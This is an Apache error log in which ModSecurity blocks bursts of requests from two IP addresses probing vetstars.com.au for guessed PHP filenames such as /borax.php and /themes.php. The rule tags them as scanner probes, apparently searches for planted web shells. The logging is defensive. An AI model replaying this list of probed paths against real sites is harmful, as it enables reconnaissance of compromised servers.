[Tue Feb 17 04:56:30.327485 2026] [:error] [pid 58552:tid 58596] [client 158.158.105.51:40452] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/001.php"] [unique_id "aZOEfjBHVJP2Oz3yR5fLNQAAAEE"]
[Tue Feb 17 04:56:31.588288 2026] [:error] [pid 32790:tid 32806] [client 158.158.105.51:40464] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/001.php"] [unique_id "aZOEf3s3HJP9ozPHsN6zHwAAAQw"]
[Tue Feb 17 04:56:34.358900 2026] [:error] [pid 58659:tid 58673] [client 158.158.105.51:38765] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/borax.php"] [unique_id "aZOEgsDX32iTEO4jt2_OgAAAAMw"]
[Tue Feb 17 04:56:35.800881 2026] [:error] [pid 58558:tid 58636] [client 158.158.105.51:37341] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/borax.php"] [unique_id "aZOEgymIxlfUL2nViZyY6QAAAI4"]
[Tue Feb 17 04:56:36.672900 2026] [:error] [pid 58558:tid 58644] [client 158.158.105.51:37991] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/borax.php"] [unique_id "aZOEhCmIxlfUL2nViZyY7gAAAJY"]
[Tue Feb 17 04:56:38.671233 2026] [:error] [pid 32790:tid 32804] [client 158.158.105.51:29472] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/borax.php"] [unique_id "aZOEhns3HJP9ozPHsN6zKgAAAQo"]
[Tue Feb 17 04:56:40.823835 2026] [:error] [pid 58558:tid 58635] [client 158.158.105.51:42356] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Knoxville.php"] [unique_id "aZOEiCmIxlfUL2nViZyY9QAAAI0"]
[Tue Feb 17 04:56:42.750232 2026] [:error] [pid 58551:tid 58561] [client 158.158.105.51:29468] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Knoxville.php"] [unique_id "aZOEiq1t8eWr-MgFsppP4QAAAAE"]
[Tue Feb 17 04:56:43.502737 2026] [:error] [pid 58659:tid 58670] [client 158.158.105.51:22533] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Knoxville.php"] [unique_id "aZOEi8DX32iTEO4jt2_OiAAAAMk"]
[Tue Feb 17 04:56:51.262821 2026] [:error] [pid 58659:tid 58668] [client 158.158.105.51:29487] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Knoxville.php"] [unique_id "aZOEk8DX32iTEO4jt2_OlAAAAMc"]
[Tue Feb 17 04:56:52.570197 2026] [:error] [pid 58551:tid 58573] [client 158.158.105.51:37968] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fizsb.php"] [unique_id "aZOElK1t8eWr-MgFsppP7QAAAA0"]
[Tue Feb 17 04:56:53.617761 2026] [:error] [pid 32790:tid 32795] [client 158.158.105.51:23326] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fizsb.php"] [unique_id "aZOElXs3HJP9ozPHsN6zQAAAAQE"]
[Tue Feb 17 04:56:55.366498 2026] [:error] [pid 58551:tid 58569] [client 158.158.105.51:21023] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fizsb.php"] [unique_id "aZOEl61t8eWr-MgFsppP8AAAAAk"]
[Tue Feb 17 04:56:56.216862 2026] [:error] [pid 58551:tid 58564] [client 158.158.105.51:32319] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fizsb.php"] [unique_id "aZOEmK1t8eWr-MgFsppP9gAAAAQ"]
[Tue Feb 17 04:58:16.520767 2026] [:error] [pid 32790:tid 32802] [client 158.158.105.51:37327] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/baidu.php"] [unique_id "aZOE6Hs3HJP9ozPHsN60FAAAAQg"]
[Tue Feb 17 04:58:26.731981 2026] [:error] [pid 58659:tid 58663] [client 158.158.105.51:40433] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/baidu.php"] [unique_id "aZOE8sDX32iTEO4jt2_PdQAAAMI"]
[Tue Feb 17 04:58:27.653919 2026] [:error] [pid 58558:tid 58644] [client 158.158.105.51:27319] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/baidu.php"] [unique_id "aZOE8ymIxlfUL2nViZyZkQAAAJY"]
[Tue Feb 17 04:58:30.145508 2026] [:error] [pid 58558:tid 58624] [client 158.158.105.51:40400] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/baidu.php"] [unique_id "aZOE9imIxlfUL2nViZyZlQAAAII"]
[Tue Feb 17 04:58:33.323685 2026] [:error] [pid 32790:tid 32800] [client 158.158.105.51:23603] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/55.php"] [unique_id "aZOE-Xs3HJP9ozPHsN60OwAAAQY"]
[Tue Feb 17 04:58:35.708095 2026] [:error] [pid 58552:tid 58613] [client 158.158.105.51:34347] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/55.php"] [unique_id "aZOE-zBHVJP2Oz3yR5fL3AAAAFI"]
[Tue Feb 17 04:58:53.916098 2026] [:error] [pid 58552:tid 58602] [client 158.158.105.51:31090] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/japan.php"] [unique_id "aZOFDTBHVJP2Oz3yR5fMBQAAAEc"]
[Tue Feb 17 04:58:55.724302 2026] [:error] [pid 58659:tid 58662] [client 158.158.105.51:31872] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/japan.php"] [unique_id "aZOFD8DX32iTEO4jt2_PrQAAAME"]
[Tue Feb 17 04:58:56.782174 2026] [:error] [pid 58659:tid 58684] [client 158.158.105.51:37988] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/japan.php"] [unique_id "aZOFEMDX32iTEO4jt2_PsAAAANc"]
[Tue Feb 17 04:59:00.632366 2026] [:error] [pid 58659:tid 58685] [client 158.158.105.51:20197] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/japan.php"] [unique_id "aZOFFMDX32iTEO4jt2_PtAAAANg"]
[Tue Feb 17 04:59:03.478517 2026] [:error] [pid 58551:tid 58563] [client 158.158.105.51:26328] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rbvds.php"] [unique_id "aZOFF61t8eWr-MgFsppQlgAAAAM"]
[Tue Feb 17 04:59:04.480562 2026] [:error] [pid 58551:tid 58575] [client 158.158.105.51:20219] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rbvds.php"] [unique_id "aZOFGK1t8eWr-MgFsppQlwAAAA8"]
[Tue Feb 17 04:59:06.492444 2026] [:error] [pid 32790:tid 32810] [client 158.158.105.51:5490] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rbvds.php"] [unique_id "aZOFGns3HJP9ozPHsN60cQAAARA"]
[Tue Feb 17 04:59:08.299711 2026] [:error] [pid 32790:tid 32799] [client 158.158.105.51:42412] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rbvds.php"] [unique_id "aZOFHHs3HJP9ozPHsN60dwAAAQU"]
[Tue Feb 17 04:59:10.875217 2026] [:error] [pid 32790:tid 32813] [client 158.158.105.51:20621] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/knightly.php"] [unique_id "aZOFHns3HJP9ozPHsN60gwAAARM"]
[Tue Feb 17 04:59:12.312904 2026] [:error] [pid 58558:tid 58638] [client 158.158.105.51:20608] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/knightly.php"] [unique_id "aZOFICmIxlfUL2nViZyZ4wAAAJA"]
[Tue Feb 17 05:00:42.068204 2026] [:error] [pid 58558:tid 58622] [client 158.158.105.51:38715] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ujuqsqhd.php"] [unique_id "aZOFeimIxlfUL2nViZyaSgAAAIA"]
[Tue Feb 17 05:00:43.545024 2026] [:error] [pid 58551:tid 58580] [client 158.158.105.51:24076] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ujuqsqhd.php"] [unique_id "aZOFe61t8eWr-MgFsppQ_gAAABQ"]
[Tue Feb 17 05:00:46.551942 2026] [:error] [pid 58552:tid 58608] [client 158.158.105.51:53315] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ujuqsqhd.php"] [unique_id "aZOFfjBHVJP2Oz3yR5fMoAAAAE0"]
[Tue Feb 17 05:00:51.957228 2026] [:error] [pid 58551:tid 58579] [client 158.158.105.51:23866] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ujuqsqhd.php"] [unique_id "aZOFg61t8eWr-MgFsppREAAAABM"]
[Tue Feb 17 05:00:55.041681 2026] [:error] [pid 58659:tid 58663] [client 158.158.105.51:28047] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iopra.php"] [unique_id "aZOFh8DX32iTEO4jt2_QtQAAAMI"]
[Tue Feb 17 05:00:56.570739 2026] [:error] [pid 58552:tid 58616] [client 158.158.105.51:25200] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iopra.php"] [unique_id "aZOFiDBHVJP2Oz3yR5fMqwAAAFU"]
[Tue Feb 17 05:01:01.633826 2026] [:error] [pid 58659:tid 58671] [client 158.158.105.51:39261] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iopra.php"] [unique_id "aZOFjcDX32iTEO4jt2_QwQAAAMo"]
[Tue Feb 17 05:01:04.223961 2026] [:error] [pid 58558:tid 58646] [client 158.158.105.51:29453] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iopra.php"] [unique_id "aZOFkCmIxlfUL2nViZyaZAAAAJg"]
[Tue Feb 17 05:01:07.321811 2026] [:error] [pid 58551:tid 58567] [client 158.158.105.51:18572] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aZOFk61t8eWr-MgFsppRJQAAAAc"]
[Tue Feb 17 05:01:08.121687 2026] [:error] [pid 58558:tid 58623] [client 158.158.105.51:37572] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aZOFlCmIxlfUL2nViZyabgAAAIE"]
[Tue Feb 17 05:01:09.230704 2026] [:error] [pid 58551:tid 58584] [client 158.158.105.51:38756] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aZOFla1t8eWr-MgFsppRKgAAABg"]
[Tue Feb 17 05:01:10.620867 2026] [:error] [pid 32790:tid 32818] [client 158.158.105.51:28606] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aZOFlns3HJP9ozPHsN61XQAAARg"]
[Tue Feb 17 05:01:14.141870 2026] [:error] [pid 58551:tid 58574] [client 158.158.105.51:7350] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lrzkh.php"] [unique_id "aZOFmq1t8eWr-MgFsppRNwAAAA4"]
[Tue Feb 17 05:01:16.458935 2026] [:error] [pid 32790:tid 32799] [client 158.158.105.51:21052] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lrzkh.php"] [unique_id "aZOFnHs3HJP9ozPHsN61bAAAAQU"]
[Tue Feb 17 05:01:17.929312 2026] [:error] [pid 32790:tid 32810] [client 158.158.105.51:30718] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lrzkh.php"] [unique_id "aZOFnXs3HJP9ozPHsN61bwAAARA"]
[Tue Feb 17 05:01:19.576989 2026] [:error] [pid 58552:tid 58602] [client 158.158.105.51:18950] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lrzkh.php"] [unique_id "aZOFnzBHVJP2Oz3yR5fMwQAAAEc"]
[Tue Feb 17 05:01:24.667827 2026] [:error] [pid 58558:tid 58643] [client 158.158.105.51:25978] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mtmem.php"] [unique_id "aZOFpCmIxlfUL2nViZyakQAAAJU"]
[Tue Feb 17 05:01:26.413656 2026] [:error] [pid 58558:tid 58633] [client 158.158.105.51:30385] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mtmem.php"] [unique_id "aZOFpimIxlfUL2nViZyamwAAAIs"]
[Tue Feb 17 05:01:31.875895 2026] [:error] [pid 58552:tid 58608] [client 158.158.105.51:25963] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mtmem.php"] [unique_id "aZOFqzBHVJP2Oz3yR5fMywAAAE0"]
[Tue Feb 17 05:01:35.556883 2026] [:error] [pid 32790:tid 32808] [client 158.158.105.51:25948] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/106.php"] [unique_id "aZOFr3s3HJP9ozPHsN61igAAAQ4"]
[Tue Feb 17 05:01:37.866641 2026] [:error] [pid 58551:tid 58573] [client 158.158.105.51:36077] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/106.php"] [unique_id "aZOFsa1t8eWr-MgFsppRZAAAAA0"]
[Tue Feb 17 05:45:20.537708 2026] [ssl:error] [pid 58552:tid 58596] [client 107.172.180.205:48936] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: http://www.macfieldsvet.com.au/
[Tue Feb 17 07:14:11.294189 2026] [:error] [pid 58659:tid 58671] [client 4.232.89.175:28138] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aZOkw8DX32iTEO4jt28P_AAAAMo"]
[Tue Feb 17 07:14:14.742706 2026] [:error] [pid 58659:tid 58665] [client 4.232.89.175:14705] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aZOkxsDX32iTEO4jt28QAwAAAMQ"]
[Tue Feb 17 07:14:20.765531 2026] [:error] [pid 58659:tid 58671] [client 4.232.89.175:5275] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aZOkzMDX32iTEO4jt28QDgAAAMo"]
[Tue Feb 17 07:14:22.941517 2026] [:error] [pid 58558:tid 58628] [client 4.232.89.175:9801] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aZOkzimIxlfUL2nViZzRIAAAAIY"]
[Tue Feb 17 07:14:24.591690 2026] [:error] [pid 32790:tid 32806] [client 4.232.89.175:10313] [client 4.232.89.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff.php"] [unique_id "aZOk0Hs3HJP9ozPHsN4CcwAAAQw"]
